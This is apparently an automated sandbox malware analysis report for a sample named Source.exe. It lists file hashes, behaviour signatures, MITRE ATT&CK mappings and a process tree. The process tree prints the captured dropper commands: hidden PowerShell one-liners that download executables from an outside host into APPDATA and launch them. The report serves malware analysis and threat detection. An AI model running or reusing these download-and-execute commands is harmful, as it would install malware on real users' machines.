ed980429e185979a8bf0e6f71c3d16b61e0845189dd18785dcd94163566e2f51

General

Target
Source.exe
Size 1.0MB
Sample250803-yk2dhsdp91
SHA256 ed980429e185979a8bf0e6f71c3d16b61e0845189dd18785dcd94163566e2f51
MD5 bcf5133c2659fa75113593437f7cea96
SHA1 45bfc1fbbed06977521f56c7f50718334dde208a
SHA512 87bbced99bd0e306f2043abf10ca4ea35b399e2e009b0f56167b2234850f7a4f9b153f4268124ad16c2591f372dc714236ce29fa0b2d9076bf46ba86d1cdee5d
SSDEEP 24576:gED5D/XozlQLna1sUZ1sU0uEf6EmCDFp39zZF:gEMGntU0U0uQ6E1FbV
MD5 SHA1 SHA512 SSDEEP

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
6	4952	powershell.exe
7	6124	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
6124	powershell.exe
4952	powershell.exe

Downloads MZ/PE file 2 IoCs

flow	pid	Process
6	4952	powershell.exe
7	6124	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
3648	BK602301.exe
5164	BK404447.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
6124	powershell.exe
4952	powershell.exe
6124	powershell.exe
4952	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	6124	powershell.exe
Token: SeDebugPrivilege	4952	powershell.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 1436 wrote to memory of 5844	1436	Source.exe	84
PID 1436 wrote to memory of 5844	1436	Source.exe	84
PID 5844 wrote to memory of 64	5844	cmd.exe	85
PID 5844 wrote to memory of 64	5844	cmd.exe	85
PID 1436 wrote to memory of 1340	1436	Source.exe	87
PID 1436 wrote to memory of 1340	1436	Source.exe	87
PID 1340 wrote to memory of 4712	1340	cmd.exe	88
PID 1340 wrote to memory of 4712	1340	cmd.exe	88
PID 64 wrote to memory of 6124	64	cmd.exe	90
PID 64 wrote to memory of 6124	64	cmd.exe	90
PID 4712 wrote to memory of 4952	4712	cmd.exe	91
PID 4712 wrote to memory of 4952	4712	cmd.exe	91
PID 4952 wrote to memory of 3648	4952	powershell.exe	92
PID 4952 wrote to memory of 3648	4952	powershell.exe	92
PID 6124 wrote to memory of 5164	6124	powershell.exe	93
PID 6124 wrote to memory of 5164	6124	powershell.exe	93

C:\Users\Admin\AppData\Local\Temp\Source.exe
"C:\Users\Admin\AppData\Local\Temp\Source.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1436
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://frozi.cc/Stb/Retev.php?bl=ZhDu09iNLmTQtz96VvPRE007.txt' -OutFile $env:APPDATA\BK404447.exe; Start-Process -FilePath $env:APPDATA\BK404447.exe -WindowStyle Hidden }"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5844
- - C:\Windows\system32\cmd.exe
    cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://frozi.cc/Stb/Retev.php?bl=ZhDu09iNLmTQtz96VvPRE007.txt' -OutFile $env:APPDATA\BK404447.exe; Start-Process -FilePath $env:APPDATA\BK404447.exe -WindowStyle Hidden }"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:64
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://frozi.cc/Stb/Retev.php?bl=ZhDu09iNLmTQtz96VvPRE007.txt' -OutFile $env:APPDATA\BK404447.exe; Start-Process -FilePath $env:APPDATA\BK404447.exe -WindowStyle Hidden }"
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Downloads MZ/PE file
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:6124
    - - C:\Users\Admin\AppData\Roaming\BK404447.exe
        
        "C:\Users\Admin\AppData\Roaming\BK404447.exe"
        5⤵
        Executes dropped EXE
        
        PID:5164
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://frozi.cc/Stb/Retev.php?bl=YghzbL7e8TCyKQmOmtPRE009.txt' -OutFile $env:APPDATA\BK602301.exe; Start-Process -FilePath $env:APPDATA\BK602301.exe -WindowStyle Hidden }"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1340
- - C:\Windows\system32\cmd.exe
    cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://frozi.cc/Stb/Retev.php?bl=YghzbL7e8TCyKQmOmtPRE009.txt' -OutFile $env:APPDATA\BK602301.exe; Start-Process -FilePath $env:APPDATA\BK602301.exe -WindowStyle Hidden }"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4712
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://frozi.cc/Stb/Retev.php?bl=YghzbL7e8TCyKQmOmtPRE009.txt' -OutFile $env:APPDATA\BK602301.exe; Start-Process -FilePath $env:APPDATA\BK602301.exe -WindowStyle Hidden }"
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Downloads MZ/PE file
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4952
    - - C:\Users\Admin\AppData\Roaming\BK602301.exe
        
        "C:\Users\Admin\AppData\Roaming\BK602301.exe"
        5⤵
        Executes dropped EXE
        
        PID:3648

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8
MD5 556084f2c6d459c116a69d6fedcc4105
SHA1 633e89b9a1e77942d822d14de6708430a3944dbc
SHA512 0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 071466701c1441e3c687f76ae4027ecad82c4dc8d57966bb769f3d8fee39f514
MD5 e65a48755b7eef1191e5bbd4b41644dc
SHA1 32287046ddc0b2f8011aa6075b00a13ab141f192
SHA512 cc44e6d96b2b4077830db7ac6d7eeaff6f8606ac82a42f04d15eee7657d2f1dcbbc8cc9e09973d0f453edb80c8392ba803c2891328827057edcb63285977201d
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_knmaauga.0sv.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_knmaauga.0sv.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

BK404447.exe

Path C:\Users\Admin\AppData\Roaming\BK404447.exe
Size 78KB
SHA256 7bb39cf86476c0d2db6b4fa877e930d6494e371b3b51289d814b2d84335ed2ce
MD5 fc4d73bf456d52c5ef19b48404a95d36
SHA1 661f1b2aa7e4b30dfd81eb685073cfd661391897
SHA512 e34091c4a284d06aa7bf0859b0e80c2561a22bead7c912847555d71eb776c4e18ba5c11e439f5a38c6844324009e06b812769d9a9bb3c06d586162b6a39e28c8
SSDEEP 768:V3qwzeCItIBbFOD9DrhUJoZdjaPFvCplBlpuyp++7HNmTlJdty/mWc8M0sb8hOoU:yAOD1koLjvlBlpfD6YRc8M0sbMVcX
MD5 SHA1 SHA512 SSDEEP

Submit Download

BK602301.exe

Path C:\Users\Admin\AppData\Roaming\BK602301.exe
Size 87KB
SHA256 74eda0ce80b6592259077199b5431935b407ba2907399eda21cb99f093381b2f
MD5 708d26d7d42b9ab636cfb0a0bad721dd
SHA1 71a9f9ba99e9ed9aa25211054fb91df4cd3d4f25
SHA512 ca13a2cdcab67528af46c6bc1f3232daaafb14998abe7cd82460bb9431db75e28727e32cad34b203afa51532a9309c9047fa7bf38bd653d9e915c42260279056
SSDEEP 1536:U6HIwOL/j8KK/lcRHA8IKKqrFA65ct7sIFOvqH9RdE:U6HIV/ENmxN9K65ct7SvqHrdE
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/6124-0-0x00000246B8850000-0x00000246B8860000-memory.dmp

Download

memory/6124-10-0x00000246D1850000-0x00000246D1872000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads